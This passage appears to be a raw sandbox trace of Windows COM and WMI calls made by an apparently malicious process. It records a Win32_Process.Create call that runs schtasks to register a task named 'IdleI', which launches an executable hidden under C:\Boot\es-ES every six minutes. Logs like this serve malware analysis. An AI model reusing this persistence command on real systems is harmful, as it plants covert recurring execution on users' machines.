WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0960, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc08a0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc08a0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc08a0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc04e0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc04e0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc08a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc08a0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc08a0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc08a0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc08a0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0133.049] IWbemServices:GetObject (in: This=0x1bbdad90, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbd5c00, ppCallResult=0x0) returned 0x0 [0133.052] IWbemClassObject:GetMethod (in: This=0x1bbd5c00, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbd5f70, ppOutSignature=0x1bb7e690*=0x1bbd62e0) returned 0x0 [0133.053] IWbemClassObject:SpawnInstance (in: This=0x1bbd5f70, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa17250) returned 0x0 [0133.053] IWbemClassObject:Get (in: This=0x1aa17250, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2833460*=0, plFlavor=0x2833464*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2833460*=8, plFlavor=0x2833464*=32) returned 0x0 [0133.053] IWbemClassObject:Get (in: This=0x1aa17250, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2833460*=8, plFlavor=0x2833464*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2833460*=8, plFlavor=0x2833464*=32) returned 0x0 [0133.054] IWbemClassObject:Put (This=0x1aa17250, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"IdleI\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0133.054] IWbemClassObject:Get (in: This=0x1aa17250, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28334f0*=0, plFlavor=0x28334f4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28334f0*=13, plFlavor=0x28334f4*=32) returned 0x0 [0133.054] IWbemClassObject:Get (in: This=0x1aa17250, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28334f0*=13, plFlavor=0x28334f4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28334f0*=13, plFlavor=0x28334f4*=32) returned 0x0 [0133.054] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbd5520) returned 0x0 [0133.054] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0133.054] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0133.054] IUnknown:AddRef (This=0x1bbd5520) returned 0x3 [0133.054] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0133.055] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0133.055] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbd5528) returned 0x0 [0133.055] IMarshal:GetUnmarshalClass (in: This=0x1bbd5528, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0133.055] IUnknown:Release (This=0x1bbd5528) returned 0x3 [0133.055] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0133.055] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0133.055] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0133.055] IUnknown:Release (This=0x1bbd5520) returned 0x2 [0133.055] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0133.055] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0133.055] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0133.055] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0133.055] IUnknown:QueryInterface (in: This=0x1bbd5520, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0133.055] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0133.055] IUnknown:AddRef (This=0x1bbd5520) returned 0x3 [0133.055] IWbemClassObject:Put (This=0x1aa17250, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbd5520, varVal2=0x0), Type=0) returned 0x0 [0133.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc05a0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0133.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc05a0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0133.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc05a0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc04e0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0133.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0133.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc05a0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0133.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc05a0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0133.056] IWbemServices:ExecMethod (in: This=0x1bbdad90, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa17250, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa17500, ppCallResult=0x0) returned 0x0 [0133.280] IWbemClassObject:Get (in: This=0x1aa17500, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2833808*=0, plFlavor=0x283380c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf14, varVal2=0x0), pType=0x2833808*=19, plFlavor=0x283380c*=0) returned 0x0 [0133.281] IWbemClassObject:Get (in: This=0x1aa17500, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2833808*=19, plFlavor=0x283380c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf14, varVal2=0x0), pType=0x2833808*=19, plFlavor=0x283380c*=0) returned 0x0 [0133.281] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0133.282] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0133.282] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0133.282] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.284] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc0ebe0) returned 0x0 [0133.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ebe0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0133.284] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ebe0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbc0a20) returned 0x0 [0133.284] WbemDefPath:IUnknown:Release (This=0x1bc0ebe0) returned 0x0 [0133.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbc0a20) returned 0x0 [0133.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0133.285] WbemDefPath:IUnknown:AddRef (This=0x1bbc0a20) returned 0x3 [0133.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0133.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0133.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc0ec20) returned 0x0 [0133.285] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0ec20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.285] WbemDefPath:IUnknown:Release (This=0x1bc0ec20) returned 0x3 [0133.285] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0133.285] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0133.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0133.285] WbemDefPath:IUnknown:Release (This=0x1bbc0a20) returned 0x2 [0133.286] WbemDefPath:IUnknown:Release (This=0x1bbc0a20) returned 0x1 [0133.286] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0133.286] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0133.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0a20, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbc0a20) returned 0x0 [0133.286] WbemDefPath:IUnknown:AddRef (This=0x1bbc0a20) returned 0x3 [0133.286] WbemDefPath:IUnknown:Release (This=0x1bbc0a20) returned 0x2 [0133.286] WbemDefPath:IWbemPath:SetText (This=0x1bbc0a20, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0133.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0a20, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0133.286] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0a20, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0133.286] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0a20, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0133.286] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0a20, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0133.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0a20, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0133.286] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0a20, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0133.286] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0133.286] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0133.286] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0133.287] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.288] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc0ec60) returned 0x0 [0133.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ec60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0133.289] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ec60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbc0ae0) returned 0x0 [0133.289] WbemDefPath:IUnknown:Release (This=0x1bc0ec60) returned 0x0 [0133.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbc0ae0) returned 0x0 [0133.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0133.289] WbemDefPath:IUnknown:AddRef (This=0x1bbc0ae0) returned 0x3 [0133.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0133.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0133.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc0eca0) returned 0x0 [0133.289] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0eca0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.290] WbemDefPath:IUnknown:Release (This=0x1bc0eca0) returned 0x3 [0133.290] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0133.290] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0133.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0133.290] WbemDefPath:IUnknown:Release (This=0x1bbc0ae0) returned 0x2 [0133.290] WbemDefPath:IUnknown:Release (This=0x1bbc0ae0) returned 0x1 [0133.290] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0133.290] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0133.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, 